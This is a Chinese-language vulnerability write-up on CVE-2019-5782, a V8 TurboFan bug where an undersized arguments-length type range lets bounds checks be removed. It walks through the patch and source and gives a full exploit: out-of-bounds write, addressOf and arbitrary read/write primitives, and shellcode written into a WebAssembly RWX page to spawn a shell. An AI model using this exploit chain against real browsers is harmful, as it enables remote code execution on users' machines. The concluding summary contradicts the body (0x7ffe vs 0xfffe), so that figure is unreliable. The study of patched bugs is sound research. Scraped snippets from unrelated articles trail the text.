CVE-2019-5782:kArgumentsLengthType 设置偏小导致优化阶段可以错误的去除 CheckBound 节点
文章目录
- 环境搭建
- 漏洞分析
- 笔者初分析
- 笔者再分析
- 漏洞触发源码分析
- 漏洞利用
- 总结
环境搭建
sudo apt install pythongit reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
漏洞分析
patch 如下:
diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@Type::Union(Type::SignedSmall(), Type::NaN(), zone());// The valid number of arguments for JavaScript functions.
- Type const kArgumentsLengthType =
- Type::Range(0.0, Code::kMaxArguments, zone());
+ Type const kArgumentsLengthType = Type::Unsigned30();// The JSArrayIterator::kind property always contains an integer in the// range [0, 2], representing the possible IterationKinds.
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@break;case IrOpcode::kNewArgumentsElements:CheckValueInputIs(node, 0, Type::ExternalPointer());
- CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
- Code::kMaxArguments, zone));
+ CheckValueInputIs(node, 1, Type::Unsigned30());CheckTypeIs(node, Type::OtherInternal());break;case IrOpcode::kNewConsString:
diff --git a/test/mjsunit/regress/regress-crbug-906043.js b/test/mjsunit/regress/regress-crbug-906043.js
new file mode 100644
index 0000000..dbc283f
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-906043.js
先来看下 type-cache.h
中对 kArgumentsLengthType
的设置:
static const int kArgumentsBits = 16;// Reserve one argument count value as the "don't adapt arguments" sentinel.static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe// The valid number of arguments for JavaScript functions.Type const kArgumentsLengthType =Type::Range(0.0, Code::kMaxArguments, zone());
第二处补丁是打在了 void Verifier::Visitor::Check(Node* node, const AllNodes& all)
函数中:
void Verifier::Visitor::Check(Node* node, const AllNodes& all) {......switch (node->opcode()) {......case IrOpcode::kNewArgumentsElements:CheckValueInputIs(node, 0, Type::ExternalPointer());CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,Code::kMaxArguments, zone));CheckTypeIs(node, Type::OtherInternal());break;......
笔者初分析
这里笔者本打算跟踪 Verifier::Visitor::Check
寻找调用链,但是并没有发现引用该函数的逻辑,直接在 gdb
中下断点也断不下来,所以笔者决定跟踪 kArgumentsLengthType
变量,最终发现如下地方进行了引用:
可以发现在 TyperPhase
阶段会调用该值:
Type Typer::Visitor::TypeArgumentsLength(Node* node) {return TypeCache::Get().kArgumentsLengthType;
}class Typer::Visitor : public Reducer {
......Reduction Reduce(Node* node) override {case IrOpcode::kArgumentsLength: \return UpdateType(node, TypeArgumentsLength(node));......
所以这里会更新 ArgumentsLength
节点的类型。但是这里跟漏洞有啥关系呢?而且笔者自己写的 demo
也没观察到有 ArgumentsLength
这个节点。
笔者因此陷入僵局,因为目前网上还没有文章对该漏洞的原理进行分析。无奈,最后笔者只有对着作者给的 POC
进行分析。
笔者再分析
这里我们来分析下作者给的 POC
:
function fun(arg) {let x = arguments.length;a1 = new Array(0x10);a1[0] = 1.1;a2 = new Array(0x10);a2[0] = 1.1;a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);var a4 = [1.1];for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log("a2.length =", a2.length.toString(16));// 输出:
// a2.length = 2a
可以看到这里成功将 a2.length
修改为了 0x2a
,结合 POC
可知这里 a1
发生了数组越界。可以看到 POC
比较关键的点就是,这里的索引为 (x >> 16) * ?
,而 x = arguments.length
。
接下来我们简化 POC
,抓住主要执行逻辑:
function fun(arg) {let x = arguments.length;let y = (x >> 16) * 21;return y;
}var a3 = [1.1, 2.2];
a3.length = 0x11000;var a4 = [1.1];for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);res = fun(...a3);
看下 load elimination
阶段:
可以看到这里的 ArgumentsLength
节点的范围为 Range(0, 65534)
,而 65534 = 0xfffe
,这个数字是不是很熟悉:
不就是第一处
patch
点吗?没有patch
之前,kMaxArguments
就是0xfffe
static const int kArgumentsBits = 16;// Reserve one argument count value as the "don't adapt arguments" sentinel.static const int kMaxArguments = (1 << kArgumentsBits) - 2; // 0xfffe// The valid number of arguments for JavaScript functions.Type const kArgumentsLengthType =Type::Range(0.0, Code::kMaxArguments, zone());
看到这里你也许就明白了,这里默认 arguments.length
的最大值为 kMaxArguments = 0xfffe
,但是观察 POC
可知我们传入的参数使得 arguments.length = 0x11000
,其中 0xfffe >> 16 = 0
,而 0x11000 >> 16 = 1
,哇,漏洞是不是很明显?所以这会导致在 simplified lowering
阶段消除 CheckBound
节点:
这里大概知道了漏洞触发的原因,但是我们还是要回到源码中分析。
漏洞触发源码分析
这里以如下 POC
跟踪分析源码:
function fun(arg) {let x = arguments.length;a1 = new Array(0x10);a1[0] = 1.1;oob_arr = new Array(0x10);oob_arr[0] = 1.1;a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;for(let i = 0; i < 0x10000; i++)
{fun(1);
}
fun(...a3);
typer
阶段:
这里我们看下 typer
阶段是如何对 SpeculativeNumberShiftRight
进行处理的:
......case IrOpcode::kSpeculativeNumberShiftRight:return UpdateType(node, TypeBinaryOp(node, SpeculativeNumberShiftRight));
......
这里最后会调用到 NumberShiftRight
函数:
这里需要调试,直接引用跟踪是跟不出来的,读者可以自行调试,把断点打在
SpeculativeNumberShiftRight
即可
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {DCHECK(lhs.Is(Type::Number()));DCHECK(rhs.Is(Type::Number()));lhs = NumberToInt32(lhs);rhs = NumberToUint32(rhs);if (lhs.IsNone() || rhs.IsNone()) return Type::None();int32_t min_lhs = lhs.Min();int32_t max_lhs = lhs.Max();uint32_t min_rhs = rhs.Min();uint32_t max_rhs = rhs.Max();if (max_rhs > 31) {// rhs can be larger than the bitmaskmax_rhs = 31;min_rhs = 0;}double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);if (max == kMaxInt && min == kMinInt) return Type::Signed32();return Type::Range(min, max, zone());
}
由于在 typer
阶段还没有进行 Load
节点的消除,所以 SpeculativeNumberShiftRight
节点的第一个参数是一个 Load
节点,其范围为 [INT_MIN, INT_MAX]
,所以最后右移后,SpeculativeNumberShiftRight
的范围为 Range(-32768, 32767)
与 IR
图是吻合的
typed lowering
阶段:
该阶段中会对 JS
函数节点进行处理,其中 create_lowering reducer
就会对 typer
阶段的 JSCreateArguments
进行处理:
Reduction JSCreateLowering::Reduce(Node* node) {DisallowHeapAccess disallow_heap_access;switch (node->opcode()) {case IrOpcode::kJSCreate:return ReduceJSCreate(node);case IrOpcode::kJSCreateArguments:return ReduceJSCreateArguments(node);......
跟进 ReduceJSCreateArguments
函数:
代码有点长,可以扔给
GPT
审计审计,但效果不是很好
Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) {DCHECK_EQ(IrOpcode::kJSCreateArguments, node->opcode());CreateArgumentsType type = CreateArgumentsTypeOf(node->op());Node* const frame_state = NodeProperties::GetFrameStateInput(node);Node* const outer_state = frame_state->InputAt(kFrameStateOuterStateInput);Node* const control = graph()->start();FrameStateInfo state_info = FrameStateInfoOf(frame_state->op());SharedFunctionInfoRef shared(broker(),state_info.shared_info().ToHandleChecked());// Use the ArgumentsAccessStub for materializing both mapped and unmapped// arguments object, but only for non-inlined (i.e. outermost) frames.if (outer_state->opcode() != IrOpcode::kFrameState) {switch (type) {case CreateArgumentsType::kMappedArguments: {// TODO(mstarzinger): Duplicate parameters are not handled yet.if (shared.has_duplicate_parameters()) return NoChange();Node* const callee = NodeProperties::GetValueInput(node, 0);Node* const context = NodeProperties::GetContextInput(node);Node* effect = NodeProperties::GetEffectInput(node);Node* const arguments_frame =graph()->NewNode(simplified()->ArgumentsFrame());Node* const arguments_length = graph()->NewNode(simplified()->ArgumentsLength(shared.internal_formal_parameter_count(), false),arguments_frame);// Allocate the elements backing store.bool has_aliased_arguments = false;Node* const elements = effect = AllocateAliasedArguments(effect, control, context, arguments_frame, arguments_length, shared,&has_aliased_arguments);// Load the arguments object map.Node* const arguments_map = jsgraph()->Constant(has_aliased_arguments? native_context().fast_aliased_arguments_map(): native_context().sloppy_arguments_map());// Actually allocate and initialize the arguments object.AllocationBuilder a(jsgraph(), effect, control);Node* properties = jsgraph()->EmptyFixedArrayConstant();STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);a.Allocate(JSSloppyArgumentsObject::kSize);a.Store(AccessBuilder::ForMap(), arguments_map);a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);a.Store(AccessBuilder::ForJSObjectElements(), elements);a.Store(AccessBuilder::ForArgumentsLength(), arguments_length);a.Store(AccessBuilder::ForArgumentsCallee(), callee);RelaxControls(node);a.FinishAndChange(node);return Changed(node);}case CreateArgumentsType::kUnmappedArguments: {......}case CreateArgumentsType::kRestParameter: {......}}UNREACHABLE();} else if (outer_state->opcode() == IrOpcode::kFrameState) {......if (type == CreateArgumentsType::kMappedArguments) {Node* const callee = NodeProperties::GetValueInput(node, 0);Node* const context = NodeProperties::GetContextInput(node);Node* effect = NodeProperties::GetEffectInput(node);// TODO(mstarzinger): Duplicate parameters are not handled yet.if (shared.has_duplicate_parameters()) return NoChange();// Choose the correct frame state and frame state info depending on// whether there conceptually is an arguments adaptor frame in the call// chain.Node* const args_state = GetArgumentsFrameState(frame_state);if (args_state->InputAt(kFrameStateParametersInput)->opcode() ==IrOpcode::kDeadValue) {// This protects against an incompletely propagated DeadValue node.// If the FrameState has a DeadValue input, then this node will be// pruned anyway.return NoChange();}FrameStateInfo args_state_info = FrameStateInfoOf(args_state->op());// Prepare element backing store to be used by arguments object.bool has_aliased_arguments = false;Node* const elements = AllocateAliasedArguments(effect, control, args_state, context, shared, &has_aliased_arguments);effect = elements->op()->EffectOutputCount() > 0 ? elements : effect;// Load the arguments object map.Node* const arguments_map = jsgraph()->Constant(has_aliased_arguments ? native_context().fast_aliased_arguments_map(): native_context().sloppy_arguments_map());// Actually allocate and initialize the arguments object.AllocationBuilder a(jsgraph(), effect, control);Node* properties = jsgraph()->EmptyFixedArrayConstant();int length = args_state_info.parameter_count() - 1; // Minus receiver.STATIC_ASSERT(JSSloppyArgumentsObject::kSize == 5 * kPointerSize);a.Allocate(JSSloppyArgumentsObject::kSize);a.Store(AccessBuilder::ForMap(), arguments_map);a.Store(AccessBuilder::ForJSObjectPropertiesOrHash(), properties);a.Store(AccessBuilder::ForJSObjectElements(), elements);a.Store(AccessBuilder::ForArgumentsLength(), jsgraph()->Constant(length));a.Store(AccessBuilder::ForArgumentsCallee(), callee);RelaxControls(node);a.FinishAndChange(node);return Changed(node);}......}return NoChange();
}
其实也不需要看到,知道这里计算了 ArgumentsLength
的范围即可。其实就是获取的 kMaxArguments = 0xfffe
。
而因为 argument.length
的偏移是固定的,所以在 load elimination
的 load_elimination reducer
会去除 Load
节点:
然后在 load elimination
阶段的 type_narrowing_reducer
会在进行一次 typing
,然后会再调用一次上面 typer
阶段执行过的 OperationTyper::NumberShiftRight
函数
其实这里的 IR 图跟我想到不一样,因为我觉得这里 turbofan 应当计算出 idx 就是 Range(0, 0),然后直接优化为 arr[0]。
Reduction TypeNarrowingReducer::Reduce(Node* node) {DisallowHeapAccess no_heap_access;Type new_type = Type::Any();switch (node->opcode()) {case IrOpcode::kNumberLessThan: {......}case IrOpcode::kTypeGuard: {......}#define DECLARE_CASE(Name) \case IrOpcode::k##Name: { \new_type = op_typer_.Name(NodeProperties::GetType(node->InputAt(0)), \NodeProperties::GetType(node->InputAt(1))); \break; \}SIMPLIFIED_NUMBER_BINOP_LIST(DECLARE_CASE)DECLARE_CASE(SameValue)#undef DECLARE_CASE......
这里展开宏可以得到:
case IrOpcode::kNumberShiftRightnew_type = OperationTyper.NumberShiftRight(NodeProperties::GetType(node->InputAt(0)),NodeProperties::GetType(node->InputAt(1)));break
所以最后还是调用到 OperationTyper::NumberShiftRight
函数:
Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {DCHECK(lhs.Is(Type::Number()));DCHECK(rhs.Is(Type::Number()));lhs = NumberToInt32(lhs); // range(0, 65534)rhs = NumberToUint32(rhs); // range(16, 16)if (lhs.IsNone() || rhs.IsNone()) return Type::None();int32_t min_lhs = lhs.Min(); // 0int32_t max_lhs = lhs.Max(); // 65534uint32_t min_rhs = rhs.Min(); // 16uint32_t max_rhs = rhs.Max(); // 16if (max_rhs > 31) {// rhs can be larger than the bitmaskmax_rhs = 31;min_rhs = 0;}double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs); // 0double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs); // 0if (max == kMaxInt && min == kMinInt) return Type::Signed32();return Type::Range(min, max, zone()); // Range(0, 0)
可以看到这里返回的是 Range(0, 0)
[看我写的注释],但是最后并没有用该值直接更新节点,而是和原类型进行的合并:
......Type original_type = NodeProperties::GetType(node);Type restricted = Type::Intersect(new_type, original_type, zone());if (!original_type.Is(restricted)) {NodeProperties::SetType(node, restricted);return Changed(node);}return NoChange();
以上就是漏洞源码分析全过程了。
漏洞利用
越界修改了 oob_arr
的 length
后,其利用就比较简单了。
- 利用越界读构造
addressOf
原语 - 利用越界写修改
ArrayBuffer
的backing_store
字段构造任意地址读写原语 - 先利用
addressOf
原语泄漏wasm_instance
地址,然后在利用任意地址读原语泄漏rwx_addr
- 利用任意地址写原语向
rwx_addr
上写入shellcode
exp
如下:
/*
let debug = (obj) => {%DebugPrint(obj);readline();
}
*/var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);let l2d = (val) => {l_buf[0] = val;return d_buf[0];
}let d2l = (val) => {d_buf[0] = val;return l_buf[0];
}function fun(arg) {let x = arguments.length;a1 = new Array(0x10);a1[0] = 1.1;oob_arr = new Array(0x10);oob_arr[0] = 1.1;a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, oob_arr;
var a3 = new Array();
a3.length = 0x11000;for(let i = 0; i < 0x10000; i++)
{fun(1);
}
fun(...a3);console.log("[+] oob_arr.length: "+ oob_arr.length);var tmp_arr = [0xdeadef, a1];
var buf_arr = [];
const BUF_NUM = 0x30;for (let i = 0; i < BUF_NUM; i++) {buf_arr.push(new ArrayBuffer(0x2024));
}var backing_store_ptr_off = -1;
for (let i = 0; i < oob_arr.length-1; i++) {let val = d2l(oob_arr[i]);if (val == 0x2024n) {oob_arr[i] = l2d(0x2025n);backing_store_ptr_off = i+1;break;}
}if (backing_store_ptr_off == -1) {throw "FAILED to hit ArrayBuffer";
}var victim_idx = -1;
for (let i = 0; i < BUF_NUM; i++) {if (buf_arr[i].byteLength = 0x2025) {victim_idx = i;break;}
}var addressOf_idx = -1;
for (let i = 0; i < oob_arr.length-1; i++) {let val = d2l(oob_arr[i]);if (val == 0x00deadef00000000n) {addressOf_idx = i+1;break;}
}var dv = new DataView(buf_arr[victim_idx]);console.log("backing_store_ptr_off", backing_store_ptr_off);
console.log("victim_idx", victim_idx);
console.log("addressOf_idx", addressOf_idx);function addressOf(obj) {tmp_arr[1] = obj;return d2l(oob_arr[addressOf_idx]);
}function arb_read(addr) {oob_arr[backing_store_ptr_off] =l2d(addr);return d2l(dv.getFloat64(0, true));
}function arb_write(addr, val) {oob_arr[backing_store_ptr_off] =l2d(addr);dv.setFloat64(0, l2d(val), true);
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;console.log("wasm_instance address:", "0x"+addressOf(wasm_instance).toString(16));var rwx_addr = arb_read(addressOf(wasm_instance)-1n+0xe8n);
console.log("rwx_address:", "0x"+rwx_addr.toString(16));var shellcode = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];for (let i = 0; i < shellcode.length; i++) {arb_write(rwx_addr, shellcode[i]);rwx_addr += 8n;
}pwn();
//%DebugPrint(wasm_instance);
//debug(oob_arr);
效果如下:
总结
该漏洞其实很简单,就是将 kArgumentsLengthType
的值错误地设置成了 0x7ffe
,而笔者测试发现 argument.length
最大可以是 0x1ebef
,所以在 turbofan
进行优化时,认为 argument.length
的范围在 [0, 0x7ffe]
之间,然后 >> 16
,则范围在 [0, 0]
之间从而导致 CheckBound
节点被优化,但是实际上我们传入的参数个数为 0x11000
,所以 >> 16
后值为 1
。即优化阶段认为 argument.length >> 16
的值为 0,而实际运行阶段 argument.length >> 16
的值为 1,然后通过一些运算可以放大这个错误从而导致越界读写。
但是笔者感觉 turbofan
中还是有一些优化玄学问题,后续有时间可能得调试一下源码
相关文章:

CVE-2019-5782:kArgumentsLengthType 设置偏小导致优化阶段可以错误的去除 CheckBound 节点
文章目录 环境搭建漏洞分析笔者初分析笔者再分析漏洞触发源码分析 漏洞利用总结 环境搭建 sudo apt install pythongit reset --hard b474b3102bd4a95eafcdb68e0e44656046132bc9 export DEPOT_TOOLS_UPDATE0 gclient sync -D// debug version tools/dev/v8gen.py x64.debug ni…...

uni-app微信小程序上拉加载,下拉刷新
pages.json配置官网链接 onPullDownRefresh、onReachBottom函数跟生命周期同级 data() {return {orderList:[],total: null, //总共多少条数据page: 1,pageSize: 10,} }, onLoad() {}, mounted(){this.getInfo() }, methods:{getInfo(){API.getListxxx().then(res > {const…...
HTML案例-2.标签综合练习
目录 效果 知识点 1.图像标签 2.链接标签 3.锚点定位 4.base标签 源码 页面1 页面2 效果 知识点 1.图像标签 <img src="图像URL" /> 单标签 属性 属性值 描述 src URL 图像的路径 alt 文本...

C++中的多值返回:解锁函数返回值的神奇力量
C中的多值返回:解锁函数返回值的神奇力量 在C编程中,有时候我们需要从函数中返回多个值。虽然C中的函数通常只能返回一个值,但有几种技术和惯用法可以实现返回多个值的效果。本文将介绍C中实现多值返回的几种常用方法,包括引用、指…...

D咖智能咖啡机:营业利器,品质与效率的完美结合
D咖作为中国知名国产商用全自动咖啡机品牌,持续引领商用全自动智能咖啡机赛道技术、产品、创新的行业新标准,目前为全国几十个地区提供全场景自助咖啡机解决方案,并获得了广泛的认可和口碑。 一、便捷操作:一键即可享受美味咖啡 在…...

江科大stm32学习笔记【6-2】——定时器定时中断定时器外部时钟
一.定时器定时中断 1.原理 2.硬件 3.程序 此时CK_PSC72M,定时1s,也就是定时频率为1Hz,所以可以PSC7200-1,ARR10000-1。 Timer.c: #include "stm32f10x.h" // Device headerextern uint16_t Num;//声明跨文件的…...

go优雅重试
实现思路: 重试配置定义最大重试次数和固定重试间隔;使用接口优雅传递可选重试配置参数;重试的模板方法必须返回错误,且只有一个返回值;如果需要使用被重试方法的返回值,使用匿名方法包一层真实方法并在匿…...

Python最常用的库
本文章主要为大家总结,9个Python最常用的包及使用案例 1 NumPy 描述: NumPy 是 Python 的一个扩展库,支持高维数组与矩阵运算,并为数组运算提供了大量的数学函数库。它是科学计算中的基础包之一,用于处理大型多维数组和矩阵的运…...

C++面试100问(八)
C中栈溢出的解决办法有哪些? 1)、增加栈内存的数目;如果是不超过栈大小但是分配值小的,就增大分配的大小 2)、使用堆内存;具体实现由很多种方法可以直接把数组定义改成指针,然后动态申请内存;也可以把局部变…...

【Git】Github 上commit后,绿格子contribution却不显示?不知道怎么弥补?解决方法在这里
github 上commit后,绿格子(contribution)却不显示 问题描述 今天一直在github上面commit代码,但是github中并没有显示自己的contribution(没有绿色的格子),全是空白,网上一查是因为…...

【Vue3】源码解析-Runtime
文章目录 系列文章packages/runtime-dom/src/index.ts初始化创建renderermount \src\runtime-core\component.jsh.tspackages/runtime-core/src/renderer.ts挂载及卸载DOM节点render packages/runtime-dom/src/nodeOps.tspackages/runtime-core/src/apiCreateApp.ts创建appmoun…...

常见面试题之计算机网络
1. OSI 五层模型(或七层模型)是什么,每一层的作用是什么 应用层:又可细分为应用层、表示层、会话层。其中应用层主要做的工作就是为应用程序提供服务,常见的协议为 HTTP、HTTPS、DNS等;表示层主要做的工作…...

C++进阶:详解多态(多态、虚函数、抽象类以及虚函数原理详解)
C进阶:详解多态(多态、虚函数、抽象类以及虚函数原理详解) 结束了继承的介绍:C进阶:详细讲解继承 那紧接着的肯定就是多态啦 文章目录 1.多态的概念2.多态的定义和实现2.1多态的构成条件2.2虚函数2.2.1虚函数的概念2…...

【Hadoop大数据技术】——MapReduce经典案例实战(倒排索引、数据去重、TopN)
📖 前言:MapReduce是一种分布式并行编程模型,是Hadoop核心子项目之一。实验前需确保搭建好Hadoop 3.3.5环境、安装好Eclipse IDE 🔎 【Hadoop大数据技术】——Hadoop概述与搭建环境(学习笔记) 目录 &#…...

02、字面量与变量
二、字面量与变量 文章目录 二、字面量与变量1、字面量字面量类型扩展:特殊字符 2、变量进制转换 3、数据类型 1、字面量 字面量又叫做常量,字面值常量,告诉程序员数据在程序中的书写格式。 字面量类型 整数类型(int):不带小数点…...

docker的常用指令
docker的常用指令 从docker镜像仓库,搜索所有和mysql有关的镜像 docker search mysql 从docker仓库拉取mysql docker pull mysql这里的mysql是指使用search搜索出来的所有容器的NAME 如果和我一样遇到以下问题: 我可以登录阿里云的官网,找…...

19 OpenCV 霍夫曼变换检测圆
文章目录 cv::HoughCircles算子参数示例 cv::HoughCircles 因为霍夫圆检测对噪声比较敏感,所以首先要对图像做中值滤波。 基于效率考虑,Opencv中实现的霍夫变换圆检测是基于图像梯度的实现,分为两步: 检测边缘,发现可能…...

leetcode代码记录(摆动序列
目录 1. 题目:2. 我的代码:小结: 1. 题目: 如果连续数字之间的差严格地在正数和负数之间交替,则数字序列称为 摆动序列 。第一个差(如果存在的话)可能是正数或负数。仅有一个元素或者含两个不等…...

django学习笔记
django学习笔记 http://djangobook.py3k.cn/2.0/chapter05/ 文章目录 django学习笔记模型 models.py1、定义数据模型2、模型安装3、创建数据表4、数据表的增删改查4.1 增加4.2 删除4.3 修改4.4 查询4.5 模糊查询4.6 排序&连锁查询4.7 限制返回数据 5、模型使用实战 模型 m…...

Python环境安装及Selenium引入
Python环境安装 环境下载 Download Python | Python.org 环境安装 需使用管理员身份运行 查看环境是否安装成功 python --version 如果未成功则检查环境变量配置 安装 Selenium 库 pip install selenium Selenium 可以模拟用户在浏览器中的操作,如点击按钮、填写…...

【gpt实践】实用咒语分享
直接上咒语了,大家可以自行实践。 1、忽略先前所有的提示 有时候gpt会停留在之前的问题中,导致回答当前问题带着之前问题结论。 2、忽略所有的客套话 我们只是需要有用的信息,有时候gpt客套话会混淆视听。 3、给出非常简短明确的答案 同样…...

Linux用户和权限
一、root用户(超级管理员) 普通用户的权限,一般在其HOME目录内是不受限的 一旦出了HOME目录,大多数地方,普通用户仅有只读和执行权限,无修改权限 二、su 和 exit命令 语法:su [ - ] 【用户…...

git svn混用
背景 项目代码管理初始使用的svn, 由于svn代码操作,无法在本地暂存,有诸多不便,另外本人习惯使用git. 所以决定迁移至git管理 迁移要求: 保留历史提交记录 迁移流程 代码检出 git svn svn_project_url git代码提交 修改本…...

FPGA静态时序分析与约束(三)、读懂vivado时序报告
系列文章目录 FPGA静态时序分析与约束(一)、理解亚稳态 FPGA静态时序分析与约束(二)、时序分析 文章目录 系列文章目录前言一、时序分析回顾二、打开vivado任意工程2.1 工程布局路由成功后,点击vivado左侧**IMPLEMENT…...

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:Badge)
可以附加在单个组件上用于信息标记的容器组件。 说明: 该组件从API Version 7开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。 子组件 支持单个子组件。 说明: 子组件类型:系统组件和自定义组件…...

Python程序设计基础——代码习题
1 __name__属性 import demodef main():if __name__ __main__:print(这个程序被直接运行。)elif __name__demo:print(这个程序作为模块被使用。) main()3.3 编写程序,生成包含1000个0~100之间的随机整数,并统计每个元素出现的次数。 import randomx[r…...

代码随想录 贪心算法-中等题目-序列问题
目录 376.摆动序列 738.单调递增的数字 376.摆动序列 376. 摆动序列 中等 如果连续数字之间的差严格地在正数和负数之间交替,则数字序列称为 摆动序列 。第一个差(如果存在的话)可能是正数或负数。仅有一个元素或者含两个不等元素的序列…...

pytest生成allure的报告
首先要下载安装配置allure allure serve ./outputs/allure_report 可以生成html的文件自动在默认浏览器中打开...

Python控制摄像头并获取数据文件
一、引言 摄像头作为计算机视觉领域的核心设备之一,广泛应用于视频监控、图像采集和数据处理等领域。通过Python编程语言,我们可以实现对摄像头的精确控制,包括摄像头的开启、关闭、参数设置以及数据获取等功能。 目录 一、引言 二、摄像头…...

免费分享一套SpringBoot+Vue自习室(预约)管理系统,帅呆了~~
大家好,我是java1234_小锋老师,看到一个不错的SpringBootVue自习室预约)管理系统,分享下哈。 项目视频演示 【免费】SpringBootVue自习室预约(预约)管理系统 Java毕业设计_哔哩哔哩_bilibili【免费】SpringBootVue自习室预约(预约)管理系统…...